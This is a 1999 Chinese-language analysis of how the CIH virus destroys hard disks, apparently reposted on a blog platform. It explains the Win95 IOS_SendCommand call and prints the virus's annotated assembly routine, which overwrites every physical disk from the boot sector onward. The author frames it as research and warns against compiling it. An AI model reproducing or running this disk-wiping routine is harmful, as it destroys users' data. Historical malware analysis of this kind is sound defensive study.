CIH对硬盘破坏之完全剖析

CIH对硬盘破坏之完全剖析

本文只供研究参考之用,如作其他用途,概于本人无关!

我的个人主页:http://bbs.scu.edu.cn/~tpo

我的电子邮件:zd_dan@263.net

邹丹编写于1999年4月29日

IOS_SendCommand是Win95的一个非常底层的VXD调用,通常是用作对IO设备的低层操作,如:读,写,加锁,格式化等等。一般情况下只能在Ring 0和虚拟机中使用,在普通程序中使用会有不可预料的后果!该VXD调用的功能很多,也很繁杂。参数数量很少,只有BCB或IOR和BDD或DCB的地址。但这几个数据结构却包含了大量的信息,结构也相当的复杂。CIH病毒只用到了IOR结构,它包含了近二十个数据,但主要用到的就是IOR_func,IOR_status,IOR_flags,IOR_start_addr[2],IOR_xfer_count,IOR_buffer_ptr,IOR_req_req_handle,IOR_req_vol_handle,IOR_sgd_lin_phys,IOR_num_sgds,IOR_vol_designtr!

IOS_SendCommand的调用方法是:

    mov esi, CmdData ; address of BCB or IOR

        mov edi, DevData ; address of BDD or DCB

        VxDCall IOS_SendCommand

    IOR的完整定义为:

typedef struct _IOR {

    ULONG IOR_next; // client link; see below
USHORT IOR_func; // function; see below
USHORT IOR_status; // request status; see below
ULONG IOR_flags; // request flags; see below
CMDCPLT IOR_callback; // address of callback; see below
ULONG IOR_start_addr[2]; // starting address; see below
ULONG IOR_xfer_count; // # of sectors/bytes; see below
ULONG IOR_buffer_ptr; // client buffer; see below
ULONG IOR_private_client; // BlockDev/IOS client reserved
ULONG IOR_private_IOS; // reserved space for IOS
ULONG IOR_private_port; // private area for port driver
union urequestor_usage _ureq; // requestor usage; see below
ULONG IOR_req_req_handle; // request handle; see below
ULONG IOR_req_vol_handle; // media handle; see below
ULONG IOR_sgd_lin_phys; // first physical SGD; see below
UCHAR IOR_num_sgds; // number of physical SGDs
UCHAR IOR_vol_designtr; // drive letter; see below
USHORT IOR_ios_private_1; // reserved by IOS to force alignment
ULONG IOR_reserved_2[2]; // reserved for internal use
} IOR, *PIOR;
    CIH病毒先构造一个IOR,再使用IOS_SendCommand调用,完成IOR所指定的功能。
病毒在IOR中的IOR_flags中指示要写的设备为物理设备(IORF_PHYS_CMD),同步调用(IORF
_SYNC_COMMAND),即在写操作完成之后才返回。然后指定第一次写的位置为0(IOR_start_a
ddr[2]即0柱面0面0扇区,即主引导区),每次写入2048个字节(IOR_xfer_count),第一次
为物理硬盘一(IOR_vol_designtr=80h),需要写入的东西放在内存0c0001000h(IOR_buffe
r_ptr),这个地址是无所谓的,目的只是要随便写一大串无关数据到硬盘上,只要该地址不
是指向不存在的内存空间即可。最后CIH调用IOS_SendCommand,完成一次写操作!操作完
成后,先判断状态(IOR_status),看是否有该设备是否正常,是则每次2048字节的一直写
下去。如果写完一个硬盘(不太可能)或出错则把IOR_vol_designtr+1使之指向下一个物理
硬盘!
    程序注释如下:

; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************
;0001为写功能IOR_WRITE
        ;40000501h为IOR_flags=1000000000000000000010100000001
    ;IORF_PHYS_CMD|IORF_VERSION_002|IORF_SYNC_COMMAND|IORF_HIGH_PRIORITY
        ;IORF_PHYS_CMD指示为物理设备
        ;IORF_SYNC_COMMAND指示为同步命令(操作完成后才返回)
        ;IORF_VERSION_002指示为扩展BCB(IOR)格式的IO请求
        ;IOR_start_addr[2]=00 00 00 00 00 00 00 00起始位置
                (注意:不是扇区,而是字节)为0
;IOR_xfer_count=800h写入2048个字节
        ;IOR_buffer_ptr=0c0001000h要写的内容在地址0c0001000h
        ;IOR_vol_designtr=80h为第一个物理硬盘81h为第二个    
                       
KillHardDisk:           
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach
                ;以压栈的形式构造IOR(就是上面那一大串数据)

LoopOfKillHardDisk:
int 20h
dd 00100004h    ;调用 IOS_SendCommand

cmp word ptr [esi+06h], 0017h
                    ;IOR_status=17h=IORS_NO_DEVICE设备正常
                                    否?
je KillNextDataSection ;写下一块

ChangeNextHardDisk:
inc byte ptr [esi+4dh]
                ;下个硬盘,80h为第一个物理硬盘81h为第二个

jmp LoopOfKillHardDisk ;继续杀杀杀!!!!

KillNextDataSection:
add dword ptr [esi+10h], ebx
                            ;下个区域(以800h为一块)
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
                            ;第一个物理硬盘80h

jmp LoopOfKillHardDisk ;继续杀杀杀!!!!



    CIH病毒发作时,先破坏Flash Memory,随后就是硬盘。有些计算机在Flash Memo
ry被破坏后就完全当机了。那要恭喜你,你的硬盘不会有太大的损失。因为Flash Memory
中装有非常重要的程序和信息如BIOS,一旦破坏,机器完全死掉的可能性相当大。既然当
掉了,程序很可能执行不到杀硬盘的模块或执行一会儿便完全死机。你的硬盘就会有相当
大的可能恢复!但是,如果病毒程序运行顺利,正如上面程序所示的,它会每次2048个字
节的从主引导区开始写硬盘。直到分区引导区,主目录表,文件分配表,数据区......直
至写完整个硬盘。然后再开始杀第二个物理硬盘。是不是太黑了!这只是CIH病毒程序所预
计的理想情况,毕竟每次写2048个字节还是比较慢。普通一个上GB的硬盘,一个柱面有63
个扇区,要写完主引导区所在的0柱面0面的63个扇区也要花点时间!如果继续写下去,破坏掉一些Win95正常运行所必须的一些文件数据,就很可能当机,这时,绝大都数人都会Reset。这样的话,你就很有可能保存了相当部分地硬盘数据!这就是被CIH破坏了的硬盘有可能用软件修复的真正原因!但千万不要以为那些软件的功能很强,足以修复所有硬盘
。硬盘的关键数据丢失太多的话,任何人都没有办法。所以修复概率很大程度上是依赖你
在病毒发作后关机的时间!时间越短,丢失的数据越少,修复的可能就越大!如果只有主
引导区被覆盖,那修复的可能有100%。如果分区引导区被覆盖,那修复的可能有99%。主
目录表被覆盖修复的可能有,但要手动恢复。如果文件分配表被覆盖,几乎不可能修复。
如果数据区被覆盖,那就彻底没有希望了!实际的情况还要复杂一些,通常是顺序的数据
丢失。
    综上所述,CIH病毒对硬盘的破坏是逻辑的,是极据破坏性的!一旦破坏,修复的
可能性较小。一旦发作,要尽快的重起或关机,尽量减少损失!在奉劝各位一句,千万不要
在没有把握的情况下,把以上程序编译执行,那将导致非常严重的后果!其实要达到以上
效果,用dos下的Debug几句就可以了,何必用95下的VXD呢?还有就是,千万无要拿硬盘
来找我修,我现在在作毕业设计,忙得很!写这篇文章已经使我元气大伤。还不是为了广
大的CIH受害者和需要了解这方面知识的同志.
    记住,千万千万不要!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值